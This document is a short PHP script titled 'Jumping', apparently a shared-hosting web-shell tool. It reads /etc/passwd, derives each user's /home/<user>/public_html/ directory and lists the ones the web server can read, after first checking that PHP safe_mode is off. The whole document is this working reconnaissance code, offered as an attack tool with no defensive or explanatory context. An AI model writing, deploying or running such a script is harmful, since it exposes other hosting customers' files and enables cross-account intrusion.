Jumping

<?php
echo '<html>
<head>
<title>'.getenv("HTTP_HOST").' - Jumping Server</title>
</head>
<body>';
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>');

set_time_limit(0);
@$passwd = fopen('/etc/passwd','r');
if (!$passwd){
die('<font size="4" color="#000000" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>');
}
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd)){
$str = fgets($passwd);
if ($i > 100){
$pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = '/home/'.$username.'/public_html/';
if(($username != '')){
if(is_readable($dirz)){
array_push($users,$username);
array_push($pub,$dirz);
}}
}
$i++;
}
foreach ($users as $user){
echo "<font color='lime'> [+] /home/$user/public_html/</font><br/>";
}
echo '</body>
</html>';
?>